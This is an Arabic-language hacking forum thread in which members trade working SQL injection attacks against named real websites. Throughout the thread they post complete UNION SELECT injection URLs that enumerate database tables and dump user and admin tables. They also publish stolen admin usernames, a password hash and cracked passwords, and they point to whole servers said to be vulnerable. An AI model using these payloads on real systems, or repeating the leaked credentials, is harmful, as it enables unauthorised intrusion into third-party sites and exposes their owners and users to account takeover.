:: vBspiders Professional Network :: - العدد (4) من غرفة الحقن

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)

- - العدد (4) من غرفة الحقن (http://www.vbspiders.com/vb/t41013.html)

يلا ع البينج شباب سيفر تقريبا كله مصاب

http://www.bing.com/search?q=ip%3A20...=QBRE&filt=all

اقتباس:

المشاركة الأصلية كتبت بواسطة MoJrIm HaCkErS (المشاركة 288403)

هدف جديد سيعذبك في الحقن انا ما قدرت احقنوو

http://www.mygirlyspace.com/myspace-...?id=L256415111

هلا اخي
لما يعذبك شو الحل نشوف ملف غيره
وربي النت عذبني بيقطع كثير هههههههههههه

وهاد الملف
انا حقنتو ع السريع

الجداول في جدول واحد

كود:



http://www.mygirlyspace.com/myspacegraphics/index.php?category=-204%20UNION%20SELECT%201,2,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,4,5,6,7+from+information_schema.columns+where+column_name+LIKE+CHAR%2837,%20112,%2097,%20115,%2037%29--

الحقنة كاملة لعيونك اخي

كود:


 
 

http://www.mygirlyspace.com/myspacegraphics/index.php?category=-204 UNION SELECT 1,2,group_concat(user,0x3a,id,0x3a,password),4,5,6,7+from+users_users--

اليوزر
admin
الباس
bill1

نعم أخي انه سهل لقد رجعت مرة تانية و حقنته

ما حقنته المرة الاولى لانني لم اكن مركز

أخي انا عندي مشكلة ليش لما بستخرج الباس و اليوزر لما اجي ادخل اللوحة يقولو لي غلط

أتمنى ان تشرح لي سا مبدع و بارك الله فيك أخي واصلـ داائما ابداعكـ

اقتباس:

المشاركة الأصلية كتبت بواسطة MoJrIm HaCkErS (المشاركة 288419)

وحدة من الاثنين
ياما اللوحة وهمية وهاي صادفتني كثير يعني فيه لوحة اخرى
او يكون الباس غلط

ع فكرة انا مبارح صادفني مشكل وربي ضحكت
حقنت موقع ولما دخلت ع اللوحة لقيتها فاضية
اللوحة الحقيقية دافنها المبرمج

خخخخخخخخخخخخ

شكرا لك أخي عبد الصمد

اقتباس:

المشاركة الأصلية كتبت بواسطة MoJrIm HaCkErS (المشاركة 288447)

شكرا لك أخي عبد الصمد

تسلم اخي العزيز
وهي الغرفة لتبادل الخبرات وتطوير الذات بهالمجال

السلام عليكم
http://www.shopmbtnice.com/article.p...rom+tb_admin--

اليوزر = cjx109
الباس =009b927906b97d1507451f45d795d55e

اقتباس:

المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 288454)

موقع جديد

http://www.shopmbtnice.com/article.php?id=-1

عدد الاعمده المصابه 4

كود PHP:

   UNION SELECT 1,2,3,4

العامود المصاب 4

أصدار القاعده 5

كتبت الاستغلال كامل

كود PHP:

   http://www.shopmbtnice.com/article.php?id=-1 UNION SELECT 1,2,3,concat(table_Name,0x3a,column_Name,0x3a,table_schema),5+From+information_schema.columns+Where+column_name+like+CHAR(37, 112, 97, 115, 37)--

طلع لي

كود PHP:

   tb_account:password:shopmbtnice

أضفت على الاستغلال السابق كلمت Group

الناتج

كود PHP:

   tb_account:password:shopmbtnice

tb_email:password:shopmbtnice

أخذت هذي الكلمه (tb_account) وشفرتها في موقع التشفير

وكتبت

كود PHP:

   where+table_Name=0x74625f6163636f756e74

بدل أستعلام جدول الباس

طلع الناتج

كود PHP:

   tb_account:id:shopmbtnice

أنا ألي هنا وقفت ما عرفت أكمل

وأحنى هنا على شان نتعلم من بعض

والي قدر يحقن الموقع يقلي أذا كان عندي خطأ ولا لا

بالتوفيق للجميع

منورين الغرفة شباب

اقتباس:

المشاركة الأصلية كتبت بواسطة Mr-Ip (المشاركة 288491)

الباس =951753

تسلم حبيبي
ع فكرة اللوحة مدفونة

السيرفر تقريبا كله مصاب والمشكلة كلها بلوحة الادمن
واللوحات الموجودة هي لوحات دخول الاعضاء

اقتباس:

المشاركة الأصلية كتبت بواسطة Masaru (المشاركة 288474)

عدد الاعمده المصابه 4

كود PHP:

   UNION SELECT 1,2,3,4

العامود المصاب 4

أصدار القاعده 5

كتبت الاستغلال كامل

كود PHP:

   http://www.shopmbtnice.com/article.php?id=-1 UNION SELECT 1,2,3,concat(table_Name,0x3a,column_Name,0x3a,table_schema),5+From+information_schema.columns+Where+column_name+like+CHAR(37, 112, 97, 115, 37)--

طلع لي

كود PHP:

   tb_account:password:shopmbtnice

أضفت على الاستغلال السابق كلمت Group

الناتج

كود PHP:

   tb_account:password:shopmbtnice

tb_email:password:shopmbtnice

أخذت هذي الكلمه (tb_account) وشفرتها في موقع التشفير

وكتبت

كود PHP:

   where+table_Name=0x74625f6163636f756e74

بدل أستعلام جدول الباس

طلع الناتج

كود PHP:

   tb_account:id:shopmbtnice

أجل صحيح لاكن هدا tb_account جدول الأعضاء
هدا هو جدول الأدمن tb_admin
من بعد ما شفرت ضع أمر group_ ليطلع لك جميع الأعمدة
من بعد ستصبح الحقنة هكدا
http://www.shopmbtnice.com/article.p...rom+tb_admin--
بالتوفيق